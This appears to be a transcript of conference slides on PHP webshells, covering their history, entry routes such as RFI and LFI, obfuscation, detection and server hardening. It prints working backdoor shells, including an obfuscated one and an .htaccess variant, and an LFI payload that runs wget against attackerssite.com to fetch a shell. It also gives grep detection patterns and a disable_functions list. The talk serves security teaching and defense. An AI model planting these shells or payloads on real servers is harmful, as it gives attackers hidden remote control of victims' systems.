http://irongeek.com history, techniques, obfuscation and automated collection adrian crenshaw
TRANSCRIPT
http://Irongeek.com
WEBSHELLSHistory, Techniques, Obfuscation
and Automated CollectionAdrian Crenshaw
http://Irongeek.com
About Adrian I run Irongeek.com I have an interest in InfoSec
education I don’t know everything - I’m just a
geek with time on my hands Sr. Information Security Engineer at
Diebold, doing managed services and pen-test work
Co-Founder of Derbyconhttp://www.derbycon.com
Twitter: @Irongeek_ADC
http://Irongeek.com
WebShell Scripts that act as back doors for maintaining access Common tasks:
File Management Command line access Database server access Bruteforcing Network Scanning Pivots
Versions for all sorts of web development environments: PHP, ASP.NET, JSP, etc.
Think of it as a RAT (Remote Access Tool/Trojan) for the web
http://Irongeek.com
History
I wanted to be like Jason Scott…and failed Attribution is hard
Old security warning from 1994http://techpubs.sgi.com/library/dynaweb_docs/0620/SGI_Developer/books/NetscapeSrv_PG/sgi_html/ch01.html
Versions of C99 labled “!C99Shell v. 1.0 beta (21.05.2005)!” Search for c99shell before 1/01/2005 turns up plenty of
shells, but not historical information Seems to tie to 7/26/1997 (Jul 26, 1997)
filetype:txt PHP daterange:2450654-2450656
http://Irongeek.com
My History With Them
My first experiences were at a school where we could put up homepages that used PHP shell_exec($command) for the win!
Shoveling a Shell using PHP Insecurities (2/12/2004)http://www.irongeek.com/i.php?page=security/phpshell
I’ve been pwned by them before
http://Irongeek.com
Common Ways In
File upload vulnerabilities Insecure FTP Command Injection Remote File Includes/Local File Includes Exploits on other sites on the same shared host Other Exploits
SQL Injection Vulnerable services
http://Irongeek.com
Pointless Animation Because I Like Them
1. Client makes a request to a site with an RFI vulnerability
2. Vulnerable web server grabs malicious file off of another server
3. File is included in code executed on the vulnerable web server
4. Attacker then executes commands on the remote vulnerable web server, uploads different shells, grabs files, etc.
http://Irongeek.com
LFI via environ
Set browser’s user agent to:<?php system(‘wget http://attackerssite.com/shell.txt -O shell.php’);?>
LFI with:http://somesite.com/index.php?page=../../../../proc/self/environ
More athttp://www.brianhaddock.com/2011/gaining-shell-access-via-local-file-inclusion-vulnerabilities
http://Irongeek.com
Common Shells
C99 C100 r57 Fx29SheLL PLaToShell b374k WSO Weevely
http://Irongeek.com
Mutillidae(NOWASP)
Started as a project to show off web vulnerabilities Like WebGoat, but designed to be easier to use and
PHP based I started it, but Jeremy Druin is in charge of it now
and has way more code in it than I do
http://Irongeek.com
Simple Uploader<FORM ENCTYPE="multipart/form-data" ACTION="<?php echo "http://" . $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];?>" METHOD="POST">Send this file: <INPUT NAME="userfile" TYPE="file"><INPUT TYPE="submit" VALUE="Send"></FORM><?phpif ($_FILES["userfile"]["error"] > 0){ echo "Error: " . $_FILES["userfile"]["error"] . "<br>"; }else{ if ($_FILES["userfile"]["name"] != ""){ echo "Upload: " . $_FILES["userfile"]["name"] . "<br>"; echo "Type: " . $_FILES["userfile"]["type"] . "<br>"; echo "Size: " . ($_FILES["userfile"]["size"] / 1024) . " kB<br>"; echo "Stored in: " . $_FILES["userfile"]["tmp_name"] . "<br>"; if (move_uploaded_file($_FILES["userfile"]["tmp_name"], $_FILES["userfile"]["name"])){
echo "Moved to: " . getcwd() . "/" . $_FILES["userfile"]["name"]; }else{
echo '<font color="$FF0000">Upload failed, may not have permission.</font>'; }}}#Based on examples from: http://www.w3schools.com/php/php_file_upload.asp?>
http://Irongeek.com
Super Simple Shell Example<HTML><BODY><FORM METHOD="post" ACTION="<?php echo "http://" . $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];?>"><INPUT TYPE="TEXT" NAME="command"><INPUT TYPE="Submit"></FORM><PRE><?php$command = str_replace("\\\\","\\",$_POST[command]); echo "<B>Results for $command: </B><P>";$results = str_replace("<","<",shell_exec($command));$results = str_replace(">",">",$results);echo $results;?></PRE></BODY></HTML>
http://Irongeek.com
Webshells can be real small
Example 1:<?=($_=@$_GET[2]).@$_($_GET[1])?>
Example 2:<?echo `$_GET[1]`?>
Could not get these to RFI Inspired By Fredrik Almroth
http://h.ackack.net/2011/09/tiny-php-shell/
http://Irongeek.com
Quick Demo
1. RFI the uploader Simpler Smaller
2. Upload a shell
http://Irongeek.com
Sources Repositories
http://www.sh3ll.org http://www.r57.gen.tr http://c99.gen.tr http://c99php.com https://github.com/nikicatg/web-malware-collection/tree/master/Backdoors
Laudanum (shell, proxy, DNS recon, reverse shell)http://laudanum.secureideas.net
Kali LinuxLook in /usr/share/webshells under platform folders aspx, cfm, jsp, perl and php
My Scripthttp://irongeek.com/i.php?page=webshells-and-rfis
http://Irongeek.com
How my script works
Ran periodically by a cron job Reads lines from recent access logs Greps for likely RFIs, then adds them to old unique RFIs and
makes sure they are still unique Request contains “=http://” (and https) Requested file ends in txt|.inc|.dat|.bak
Checks to see if they are still active Outputs the attacker IP, whois link, URL to webshell, referer,
time, etc. Saves uniques for later If it does not error out, and the file does not exist, it makes
an archive copy
http://Irongeek.com
User Agent notification, just to be nice
Why not let the hosting site know they are serving a shell?
User Agent String:Hello, I'm not attacking your site, but someone else tried using this file on your server as an RFI against my site. Contact Irongeek at Irongeek.com for more details http://www.irongeek.com/i.php?page=webshells-and-rfi
http://Irongeek.com
Subtypes Uploaders General Webshells Testers/IDers
Just emails the attacker that a site in vulnerable, maybe gives a bit of information about the system
Search Engine Spammers Just show the links to search engines based on user agent strings to
get higher ranking via back links Booters
Botnets based on webshells Webservers generally have more bandwidth than workstations
Local rooters Elevate privileges using local exploits
http://Irongeek.com
Common Obfuscations
gzinflate() / gzdeflate()Meant to allow for compressed data
base64_decode() / base64_encode()Meant to allow for binary data to me stored as printable ASCII
Others: str_rot13() / rawurlencode() / strrev() Truncated example:
<? eval(gzinflate(base64_decode('pZL ….OyA=')); ?> Useful decoder:
https://defense.ballastsecurity.net/decoding/
http://Irongeek.com
Obfuscated example shellecho '<HTML><BODY><FORM METHOD="post" ACTION="'."http://" . $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI].'"><INPUT TYPE="TEXT" NAME="command"><INPUT TYPE="Submit"></FORM><PRE>';$command = str_replace("\\\\","\\",$_POST[command]); echo "<B>Results for $command: </B><P>";$results = str_replace("<","<",shell_exec($command));$results = str_replace(">",">",$results);echo $results;echo "</PRE></BODY></HTML>";
Run through http://www.mobilefish.com/services/php_obfuscator/php_obfuscator.php
<?phpeval(gzinflate(base64_decode(str_rot13('qMSsn4ZjSZKs+lxhS5xIve7KTXueufY8fkwUFvsFhJjBqVdzfV+/XNdwfQlR5CV7557YyIKqtHxPRG1F4vsURlHCPL8tLvWVwu723ntDQipvGTVCGEgecsd94lQLLWDM48+Za81NvYDZxxlLkq86M085l0FM87PjGnDxwAAptQvymRCOKtEPsVw0h+en9iY9sxAx17s2F+zvZ0JvWBJZzh7TJTwjLSEQBpv+hIElv6/64N6alluGUrn8tVKyjxMBtlYkXMswgIRwsUDQeSM7VV6iT1QH9fZP3AtG7K3KXOq3Ll2occD/fgdhOco1i5OBjf9WhOVnahBfs3qA50jw6vwmUck5Xrw+Nt=='))));?>
http://Irongeek.com
Communication Obfuscation
GET is in the URL, POST is in the request headers POST method less likely to be logged than GET With a custom client, stealth commands via:
Cookie headers Non-cookie headers Multiple levels of obfuscation making it computationally
expensive to decode
http://Irongeek.com
b374k Shell
Available at: http://code.google.com/p/b374k-shell/
Simple “Polymorphic” version Database functionality Process explorer Reverse and bind shells
http://Irongeek.com
Weevely Available at: https://github.com/epinna/Weevely Tiny, encrypted, communication over cookies, tons
of modules: Enumerate users and /etc/passwd
content Check php security configurations Crawl and enumerate web folders files
permissions Find wrong system files permissions Guess files with wrong permissions in
users home folders Bruteforce all SQL users Bruteforce SQL username Collect system informations Send reverse TCP shell Open a shell on TCP port Execute system shell command
Execute PHP statement Mount remote filesystem using HTTPfs Change file timestamps Remove remote files and folders Get SQL database dump Run SQL console or execute single queries Install and run Proxy to tunnel traffic
through target Print interfaces addresses Port scan open TCP ports Install remote PHP proxy Find files with write Find files with superuser flags
http://Irongeek.com
Other ways of hiding
Embed it in other scripts code that is already on the site
Put in an .htaccess fileSee Eldar “Wireghoul” Marcussen’s work:https://github.com/wireghoul/htshells
# <!-- Self contained .htaccess web shell - Part of the htshell project# Written by Wireghoul - http://www.justanotherhacker.com
# Override default deny rule to make .htaccess file accessible over web<Files ~ "^\.ht"> Order allow,deny Allow from all</Files>
# Make .htaccess file be interpreted as php file. This occur after apache has interpreted # the apache directoves from the .htaccess fileAddType application/x-httpd-php .htaccess
###### SHELL ###### <?php echo "--><form method='get'><input type='text' name='c' value='".$_GET['c']."'><input type='submit' name='go' value='Go!'></form>\n<pre>";passthru($_GET['c']." 2>&1");echo "</pre>"; ?>
http://Irongeek.com
Avoid being indexed by search engines
Attackers don’t want others finding their shells and using them
<?php if(preg_match("/bot/", $_SERVER[HTTP_USER_AGENT])) {header("HTTP/1.0 404");exit("<h1>Not Found</h1>");}…
http://Irongeek.com
Besides password restricted, how about IP?
//Example from Laudanum$allowedIPs = array("192.168.1.55", "12.2.2.2");$allowed = 0;foreach ($allowedIPs as $IP) { if ($_SERVER["REMOTE_ADDR"] == $IP) $allowed = 1;}if ($allowed == 0) { header("HTTP/1.0 404 Not Found"); die();}
http://Irongeek.com
Legal Obfuscation?
How well do the think that will work for them?
<?php // This file is protected by copyright law and provided under license. Reverse engineering of this file is strictly prohibited. …
http://Irongeek.com
FINDING WEB SHELLS AND ATTACK ATTEMPTS
http://Irongeek.com
Grepping for RFIs in access logs
Ugly, but works:grep -i "=http://" access.log | grep -i "\.txt\|\.inc\.\|\.dat"
May like my script better
http://Irongeek.com
Grepping for shells in filesystem
Look for “bad” functionsgrep -RPnl "(gzinflate|eval|base64_decode)" /var/www/
No perfect list Many false positives
http://Irongeek.com
Tools to find Webshells
AV will mostly miss them PHP-Shell-Detector
Just signature based to my knowledgeScans: php/perl/asp/aspx https://github.com/emposha/PHP-Shell-Detector
NeoPIDetects on Signatures, Entropy, Longest Word and Index of CoincidenceScans: php/asp/aspx/sh/bash/zsh/csh/tsch/pl/py/cgi/cfmhttps://github.com/Neohapsis/NeoPI
http://Irongeek.com
Demo
Grep PHP-Shell-Detector NeoPI
http://Irongeek.com
GENERAL HARDENING
http://Irongeek.com
Who does Apache/Web Daemon run as?
http://Irongeek.com
Permissions Defaults may be ok, but stuff happens Test installs like XAMPP may be ran as the user Moving files from one place to another can have unintended
consequences Shared hosting may have your site running under your
account, giving scripts permission to your files Check for writable files?
find /var/www/ -user www-data -perm -u=w –ls find /var/www/ -perm -2 -ls
Use with caution, just for world writeables:find /var/www -type d -exec chmod 2775 {} +find /var/www -type f -exec chmod 0664 {} +
http://Irongeek.com
PHP.INI TWEAKSMuch of the following text copied from
/etc/php5/apache2/php.ini
http://Irongeek.com
Enough to annoy pen-testers and skitties maybe
Allow ASP-style <% %> tags.asp_tags = Offhttp://php.net/asp-tags
PHP Banner in web server headerexpose_php = Onhttp://php.net/expose-php
Whether to allow HTTP file uploads.file_uploads = Onhttp://php.net/file-uploads
Display Errorsdisplay_errors = Onhttp://php.net/display-errors
http://Irongeek.com
More Effective
Whether to allow the treatment of URLs (like http:// or ftp://) as files.allow_url_fopen = Onhttp://php.net/allow-url-fopen
Whether to allow include/require to open URLs (like http:// or ftp://) as files. (Off by default in now.)allow_url_include = Offhttp://php.net/allow-url-include
Disable easily abused functionsdisable_functions=system,exec,passthru,shell_exechttp://php.net/manual/en/ini.core.php#ini.disable-functions
http://Irongeek.com
PHP Safe Mode
“DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0”
Many functions modified so UID of the script and the files/directories operated on are the same.
Some functions like shell_exec() disabled Others like exec() system() require the executable to
be in safe_mode_exec_dir Way more details here:
http://www.php.net/manual/en/features.safe-mode.functions.php
http://Irongeek.com
Apache Mod Security
Host based WAF Available at:
http://www.modsecurity.org modsecurity_crs_45_trojans.conf Changed my config to:
SecRuleEngine OnSecDefaultAction "phase:4,deny,log,status:500“
Signature based, so same rule applies as AV
http://Irongeek.com
Other Apache Tweaks
Turn off Directory indexing Add this to .htaccess file or Directory configs:
Options -Indexes An example of why:
http://www.google.com/?q=intitle:index.of+c99.txt
http://Irongeek.com
A few other scripts
Shared Hosting MD5 Change Detection Scripthttp://www.irongeek.com/i.php?page=security/shared-hosting-md5-change-detection-script
Script To Grep For RFI, Webshells, Password Grabs, Web Scanners, Etc.http://www.irongeek.com/i.php?page=security/logwatch-script-grep-for-rfis-webscanners-webshell-attacks
http://Irongeek.com
Links Writing a stealth web shell and .htaccess shells by Eldar “Wireghoul” Marcussen
http://www.justanotherhacker.com/2011/12/writing-a-stealth-web-shell.html http://www.justanotherhacker.com/projects/htshells/
Effectiveness of Antivirus in Detecting Web Application Backdoors by Rahul “FB1H2S” Sasihttp://www.exploit-db.com/wp-content/themes/exploit/docs/16082.pdf
Detecting Obfuscated Web Shells Talk by Scott Behrenshttp://www.youtube.com/watch?v=gRSKuAS71pI
Web Shell Detection Using NeoPI by Scott Behrens and Ben Hagenhttp://resources.infosecinstitute.com/web-shell-detection/
Threat: DDoS Booter Shell Scriptshttp://www.prolexic.com/pdf/Prolexic_Threat_Advisory_DDoS_Booter_Scripts_052612.pdf
Booting the Booters, Stressing the Stressors - Allison Nixon and Brandon Levenhttp://www.irongeek.com/i.php?page=videos/bsidesri2013/2-0-booting-the-booters-stressing-the-stressors-allison-nixon-and-brandon-levene
http://Irongeek.com
EventsDerbycon
Sept 25th-29th, 2013http://www.derbycon.com
Othershttp://www.louisvilleinfosec.com
http://skydogcon.com http://hack3rcon.org
http://outerz0ne.org
http://phreaknic.info http://notacon.org
Ph
oto
Cre
dits
to
KC
(d
eva
uto
)De
rbyco
n A
rt Cre
dits to
Dig
iP
http://Irongeek.com
QUESTIONS?42
Twitter: @Irongeek_ADC